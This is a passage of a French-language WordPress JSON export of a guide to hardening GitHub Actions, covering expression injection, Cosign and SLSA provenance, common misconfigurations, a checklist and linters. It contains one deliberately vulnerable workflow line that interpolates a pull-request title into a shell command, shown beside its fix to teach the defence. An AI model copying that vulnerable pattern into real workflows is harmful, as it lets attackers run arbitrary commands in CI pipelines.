class=\"wp-block-list\">\n<li><code>github.event.pull_request.title<\/code><\/li>\n<li><code>github.event.pull_request.body<\/code><\/li>\n<li><code>github.event.issue.title<\/code><\/li>\n<li><code>github.event.issue.body<\/code><\/li>\n<li><code>github.event.comment.body<\/code><\/li>\n<li><code>github.event.review.body<\/code><\/li>\n<li><code>github.event.head_commit.message<\/code><\/li>\n<li><code>github.head_ref<\/code> (nom de branche \u2014 contr\u00f4l\u00e9 par l&rsquo;attaquant dans les forks)<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">La correction : les variables d&rsquo;environnement<\/h3>\n\n<p class=\"wp-block-paragraph\">Au lieu d&rsquo;interpoler des expressions dans des blocs <code>run:<\/code>, passez-les par des variables d&rsquo;environnement :<\/p>\n\n<pre><code># Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n  env:\n    PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Lorsque la valeur transite par une variable d&rsquo;environnement, le shell la traite comme une cha\u00eene litt\u00e9rale, et non comme du code \u00e0 ex\u00e9cuter. Cela emp\u00eache totalement l&rsquo;injection.<\/p>\n\n<h2 class=\"wp-block-heading\">S\u00e9curit\u00e9 de la cha\u00eene d&rsquo;approvisionnement : signature et provenance<\/h2>\n\n<p class=\"wp-block-paragraph\">S\u00e9curiser votre pipeline CI\/CD ne consiste pas seulement \u00e0 prot\u00e9ger le pipeline lui-m\u00eame : il s&rsquo;agit aussi de garantir que les artifacts qu&rsquo;il produit sont dignes de confiance. La s\u00e9curit\u00e9 de la cha\u00eene d&rsquo;approvisionnement pour GitHub Actions englobe la signature des artifacts, l&rsquo;attestation de provenance et la v\u00e9rification.<\/p>\n\n<h3 class=\"wp-block-heading\">Signature des artifacts avec Cosign et Sigstore<\/h3>\n\n<p class=\"wp-block-paragraph\">Cosign, qui fait partie du projet Sigstore, permet la signature sans cl\u00e9 (keyless) d&rsquo;images de conteneurs et d&rsquo;autres artifacts \u00e0 l&rsquo;aide d&rsquo;identit\u00e9s OIDC. Dans GitHub Actions, cela signifie que l&rsquo;identit\u00e9 de votre workflow (d\u00e9p\u00f4t, branche, workflow) devient l&rsquo;identit\u00e9 de signature \u2014 aucune cl\u00e9 de signature statique \u00e0 g\u00e9rer ni \u00e0 prot\u00e9ger.<\/p>\n\n<pre><code>steps:\n  - uses: sigstore\/cosign-installer@v3\n  - run: cosign sign --yes ${{ env.IMAGE_REF }}\n    env:\n      COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">La signature obtenue est enregistr\u00e9e dans un journal de transparence (Rekor), fournissant une trace auditable attestant qu&rsquo;un workflow pr\u00e9cis, dans un d\u00e9p\u00f4t pr\u00e9cis, a produit un artifact pr\u00e9cis.<\/p>\n\n<h3 class=\"wp-block-heading\">Provenance SLSA<\/h3>\n\n<p class=\"wp-block-paragraph\">SLSA (Supply-chain Levels for Software Artifacts) fournit un cadre pour garantir l&rsquo;int\u00e9grit\u00e9 des builds. L&rsquo;action officielle <code>actions\/attest-build-provenance<\/code> de GitHub g\u00e9n\u00e8re des attestations de provenance SLSA qui enregistrent exactement comment un artifact a \u00e9t\u00e9 construit \u2014 le d\u00e9p\u00f4t source, le commit, le builder et les instructions de build.<\/p>\n\n<p class=\"wp-block-paragraph\">La provenance SLSA r\u00e9pond \u00e0 la question : \u00ab Puis-je prouver que cet artifact a \u00e9t\u00e9 construit \u00e0 partir de ce code source par ce syst\u00e8me CI\/CD ? \u00bb Pour toute organisation qui prend au s\u00e9rieux la s\u00e9curit\u00e9 de la cha\u00eene d&rsquo;approvisionnement, l&rsquo;attestation de provenance devrait faire partie de chaque workflow de release.<\/p>\n\n<p class=\"wp-block-paragraph\">Pour une exp\u00e9rience pratique de la signature de conteneurs avec Cosign dans un pipeline CI\/CD, consultez notre lab de signature Cosign. Pour mettre en \u0153uvre la g\u00e9n\u00e9ration et la v\u00e9rification de la provenance SLSA, r\u00e9alisez notre lab de provenance SLSA.<\/p>\n\n<h2 class=\"wp-block-heading\">Erreurs de configuration courantes : le top 5<\/h2>\n\n<p class=\"wp-block-paragraph\">Apr\u00e8s avoir audit\u00e9 des centaines de workflows GitHub Actions, voici les cinq erreurs de configuration de s\u00e9curit\u00e9 les plus fr\u00e9quentes que nous rencontrons :<\/p>\n\n<h3 class=\"wp-block-heading\">1. Bloc de permissions absent<\/h3>\n\n<p class=\"wp-block-paragraph\">Les workflows d\u00e9pourvus de bloc <code>permissions:<\/code> explicite h\u00e9ritent des permissions par d\u00e9faut du token du d\u00e9p\u00f4t \u2014 g\u00e9n\u00e9ralement lecture\/\u00e9criture sur tout. Cela viole le moindre privil\u00e8ge et maximise le rayon d&rsquo;impact de toute compromission.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Correction :<\/strong> Ajoutez un bloc <code>permissions: read-all<\/code> de niveau sup\u00e9rieur (ou un bloc de permissions granulaire) \u00e0 chaque fichier de workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">2. Actions tierces non \u00e9pingl\u00e9es<\/h3>\n\n<p class=\"wp-block-paragraph\">Utiliser des r\u00e9f\u00e9rences de tag comme <code>@v4<\/code> ou <code>@main<\/code> pour des actions tierces vous expose aux attaques de la cha\u00eene d&rsquo;approvisionnement. Si le d\u00e9p\u00f4t de l&rsquo;action est compromis, les attaquants peuvent pousser du code malveillant sous le tag existant.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Correction :<\/strong> \u00c9pinglez toutes les actions tierces \u00e0 des SHA de commit complets. Utilisez Dependabot pour g\u00e9rer les mises \u00e0 jour.<\/p>\n\n<h3 class=\"wp-block-heading\">3. Injection d&rsquo;expressions dans les blocs run:<\/h3>\n\n<p class=\"wp-block-paragraph\">Interpoler directement des valeurs de contexte contr\u00f4l\u00e9es par l&rsquo;attaquant (titres de PR, corps d&rsquo;issues, noms de branches) dans des \u00e9tapes <code>run:<\/code> permet l&rsquo;ex\u00e9cution de commandes arbitraires.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Correction :<\/strong> Faites toujours transiter les valeurs de contexte non fiables par des variables d&rsquo;environnement.<\/p>\n\n<h3 class=\"wp-block-heading\">4. Usage dangereux de pull_request_target<\/h3>\n\n<p class=\"wp-block-paragraph\">Extraire et ex\u00e9cuter le code du head d&rsquo;une PR dans un workflow <code>pull_request_target<\/code> donne \u00e0 l&rsquo;attaquant acc\u00e8s aux secrets du d\u00e9p\u00f4t et aux permissions en \u00e9criture.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Correction :<\/strong> N&rsquo;extrayez jamais <code>github.event.pull_request.head.sha<\/code> dans des workflows <code>pull_request_target<\/code>. Utilisez plut\u00f4t le sch\u00e9ma \u00e0 deux workflows.<\/p>\n\n<h3 class=\"wp-block-heading\">5. Identifiants cloud \u00e0 longue dur\u00e9e de vie stock\u00e9s comme secrets<\/h3>\n\n<p class=\"wp-block-paragraph\">Stocker des cl\u00e9s d&rsquo;acc\u00e8s AWS, du JSON de compte de service GCP ou des secrets client Azure en tant que secrets de d\u00e9p\u00f4t ou d&rsquo;organisation cr\u00e9e une exposition d&rsquo;identifiants persistante. Si ces secrets fuitent, l&rsquo;attaquant obtient un acc\u00e8s durable \u00e0 vos ressources cloud.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Correction :<\/strong> Remplacez les identifiants statiques par la f\u00e9d\u00e9ration d&rsquo;identit\u00e9 de charge de travail OIDC. Sans secret \u00e0 voler, il n&rsquo;y a plus d&rsquo;exposition d&rsquo;identifiants.<\/p>\n\n<h2 class=\"wp-block-heading\">Checklist de mise en \u0153uvre<\/h2>\n\n<p class=\"wp-block-paragraph\">Utilisez cette checklist pour durcir syst\u00e9matiquement vos workflows GitHub Actions. Chaque \u00e9l\u00e9ment renvoie \u00e0 une section de ce guide :<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>Permissions :<\/strong> R\u00e9glez les permissions par d\u00e9faut du token de l&rsquo;organisation\/du d\u00e9p\u00f4t sur la lecture seule.<\/li>\n<li><strong>Permissions :<\/strong> Ajoutez des blocs <code>permissions:<\/code> explicites \u00e0 chaque workflow et \u00e0 chaque job.<\/li>\n<li><strong>\u00c9pinglage :<\/strong> \u00c9pinglez toutes les actions tierces \u00e0 des SHA de commit complets.<\/li>\n<li><strong>\u00c9pinglage :<\/strong> Configurez Dependabot pour l&rsquo;\u00e9cosyst\u00e8me <code>github-actions<\/code>.<\/li>\n<li><strong>Secrets :<\/strong> Migrez des secrets de d\u00e9p\u00f4t vers des secrets d&rsquo;environnement assortis de r\u00e8gles de protection.<\/li>\n<li><strong>Secrets :<\/strong> Auditez tous les workflows <code>pull_request_target<\/code> \u00e0 la recherche de sch\u00e9mas d&rsquo;extraction dangereux.<\/li>\n<li><strong>OIDC :<\/strong> Remplacez les identifiants cloud statiques par la f\u00e9d\u00e9ration d&rsquo;identit\u00e9 de charge de travail OIDC.<\/li>\n<li><strong>OIDC :<\/strong> Configurez des filtres sur le claim subject pour restreindre la port\u00e9e du token (d\u00e9p\u00f4t, branche, environnement).<\/li>\n<li><strong>Runners :<\/strong> Assurez-vous que les runners auto-h\u00e9berg\u00e9s sont \u00e9ph\u00e9m\u00e8res (utilisez ARC ou \u00e9quivalent).<\/li>\n<li><strong>Runners :<\/strong> N&rsquo;affectez jamais de runners auto-h\u00e9berg\u00e9s \u00e0 des d\u00e9p\u00f4ts publics.<\/li>\n<li><strong>Actions :<\/strong> Mettez en place une liste d&rsquo;autorisation d&rsquo;actions au niveau de l&rsquo;organisation.<\/li>\n<li><strong>Actions :<\/strong> Auditez toutes les actions tierces avant de les approuver.<\/li>\n<li><strong>Injection :<\/strong> Recherchez (grep) <code>${{<\/code> dans les blocs <code>run:<\/code> de tous vos workflows et corrigez les vecteurs d&rsquo;injection.<\/li>\n<li><strong>Cha\u00eene d&rsquo;approvisionnement :<\/strong> Mettez en place la signature des artifacts avec Cosign\/Sigstore.<\/li>\n<li><strong>Cha\u00eene d&rsquo;approvisionnement :<\/strong> G\u00e9n\u00e9rez la provenance SLSA pour les artifacts de release.<\/li>\n<li><strong>Linting :<\/strong> Ajoutez <code>actionlint<\/code> et <code>zizmor<\/code> \u00e0 votre pipeline CI pour d\u00e9tecter automatiquement les probl\u00e8mes.<\/li>\n<li><strong>Environnements :<\/strong> Utilisez les environnements GitHub avec r\u00e9viseurs requis pour les d\u00e9ploiements en production.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Labs associ\u00e9s<\/h2>\n\n<p class=\"wp-block-paragraph\">La th\u00e9orie a ses limites. Mettez en pratique ce que vous avez appris dans ces labs :<\/p>\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">Lab : durcir les workflows GitHub Actions \u2014 permissions, \u00e9pinglage et secrets<\/a> \u2014 Mettez en \u0153uvre des permissions de moindre privil\u00e8ge, l&rsquo;\u00e9pinglage par SHA et une gestion s\u00e9curis\u00e9e des secrets dans un vrai workflow.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws\/\">Lab : configurer l&rsquo;identit\u00e9 de charge de travail OIDC pour GitHub Actions et AWS<\/a> \u2014 Mettez en place une authentification sans cl\u00e9 (keyless) entre GitHub Actions et AWS gr\u00e2ce \u00e0 la f\u00e9d\u00e9ration OIDC.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller\/\">Lab : runners auto-h\u00e9berg\u00e9s \u00e9ph\u00e9m\u00e8res avec Actions Runner Controller<\/a> \u2014 D\u00e9ployez ARC sur Kubernetes pour ex\u00e9cuter des runners CI\/CD s\u00fbrs et \u00e9ph\u00e9m\u00e8res.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\">Lab : d\u00e9tecter les GitHub Actions malveillantes par analyse statique<\/a> \u2014 Utilisez des outils d&rsquo;analyse statique pour rep\u00e9rer les sch\u00e9mas suspects et les comportements malveillants dans les actions tierces.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/github-actions-security-cheat-sheet\/\">Cheat Sheet S\u00e9curit\u00e9 GitHub Actions<\/a> \u2014 R\u00e9f\u00e9rence rapide pour les permissions minimales, les sch\u00e9mas s\u00fbrs et les pi\u00e8ges courants.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Outils pour la s\u00e9curit\u00e9 de GitHub Actions<\/h2>\n\n<p class=\"wp-block-paragraph\">Automatisez l&rsquo;application de la s\u00e9curit\u00e9 avec ces outils essentiels :<\/p>\n\n<h3 class=\"wp-block-heading\">actionlint<\/h3>\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/rhysd\/actionlint\" target=\"_blank\" rel=\"noopener\">actionlint<\/a> est un outil d&rsquo;analyse statique pour les fichiers de workflow GitHub Actions. Il d\u00e9tecte les erreurs de syntaxe, les incompatibilit\u00e9s de types, les commandes shell invalides et les probl\u00e8mes de s\u00e9curit\u00e9 comme l&rsquo;injection d&rsquo;expressions. Ex\u00e9cutez-le en local et en CI pour rep\u00e9rer les probl\u00e8mes avant qu&rsquo;ils n&rsquo;atteignent la production :<\/p>\n\n<pre><code># Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\n<h3 class=\"wp-block-heading\">zizmor<\/h3>\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/woodruffw\/zizmor\" target=\"_blank\" rel=\"noopener\">zizmor<\/a> est un linter de s\u00e9curit\u00e9 d\u00e9di\u00e9 \u00e0 GitHub Actions. Contrairement aux linters g\u00e9n\u00e9ralistes, zizmor se concentre sp\u00e9cifiquement sur les probl\u00e8mes de s\u00e9curit\u00e9 : injection d&rsquo;expressions, actions non \u00e9pingl\u00e9es, permissions trop larges, d\u00e9clencheurs dangereux, et plus encore. Il produit des r\u00e9sultats exploitables, assortis d&rsquo;un niveau de s\u00e9v\u00e9rit\u00e9 et de conseils de correction :<\/p>\n\n<pre><code># Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Ces deux outils devraient faire partie de votre pipeline CI. Ex\u00e9cutez-les sur chaque PR qui modifie des fichiers de workflow. Ensemble, ils d\u00e9tectent la grande majorit\u00e9 des probl\u00e8mes de s\u00e9curit\u00e9 courants de GitHub Actions avant leur fusion.<\/p>\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n<p class=\"wp-block-paragraph\">La s\u00e9curit\u00e9 de GitHub Actions ne se r\u00e9sume pas \u00e0 un simple interrupteur de configuration : c&rsquo;est une d\u00e9fense en profondeur qui couvre les permissions, les d\u00e9pendances, les secrets, l&rsquo;identit\u00e9, l&rsquo;infrastructure et l&rsquo;int\u00e9grit\u00e9 de la cha\u00eene d&rsquo;approvisionnement. Les attaques contre les pipelines CI\/CD gagnent en fr\u00e9quence et en sophistication, et les organisations qui traitent la s\u00e9curit\u00e9 des pipelines comme une r\u00e9flexion secondaire seront celles qui devront annoncer des br\u00e8ches.<\/p>\n\n<p class=\"wp-block-paragraph\">La bonne nouvelle, c&rsquo;est que chaque mesure d&rsquo;att\u00e9nuation de ce guide est applicable d\u00e8s aujourd&rsquo;hui. Vous pouvez passer les permissions en lecture seule en cinq minutes. Vous pouvez activer Dependabot pour l&rsquo;\u00e9pinglage des actions en un commit. Vous pouvez migrer des identifiants statiques vers OIDC en un apr\u00e8s-midi. Et vous pouvez d\u00e9ployer des runners \u00e9ph\u00e9m\u00e8res avant la fin de la semaine.<\/p>\n\n<p class=\"wp-block-paragraph\">Commencez par la checklist de mise en \u0153uvre ci-dessus. R\u00e9alisez les labs. Ex\u00e9cutez actionlint et zizmor sur vos workflows existants et corrigez ce qu&rsquo;ils signalent. Chaque \u00e9tape de durcissement que vous franchissez augmente le co\u00fbt pour les attaquants et r\u00e9duit votre risque.<\/p>\n\n<p class=\"wp-block-paragraph\">Votre pipeline CI\/CD est un syst\u00e8me de production. S\u00e9curisez-le comme tel.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>GitHub Actions est devenue la plateforme CI\/CD la plus adopt\u00e9e au monde. Avec plus de 90 % des d\u00e9p\u00f4ts GitHub capables de l&rsquo;utiliser nativement, elle propulse aussi bien de simples v\u00e9rifications de linting que des d\u00e9ploiements multi-cloud complexes. Mais cette omnipr\u00e9sence en fait la surface d&rsquo;attaque CI\/CD la plus cibl\u00e9e du d\u00e9veloppement logiciel moderne. En &#8230; <a title=\"S\u00e9curit\u00e9 de GitHub Actions : le guide d\u00e9finitif\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/github-actions-security-definitive-guide\/\" aria-label=\"En savoir plus sur S\u00e9curit\u00e9 de GitHub Actions : le guide d\u00e9finitif\">Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":1184,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,52],"tags":[],"post_folder":[],"class_list":["post-442","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=442"}],"version-history":[{"count":4,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/442\/revisions"}],"predecessor-version":[{"id":1185,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/442\/revisions\/1185"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media\/1184"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=442"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}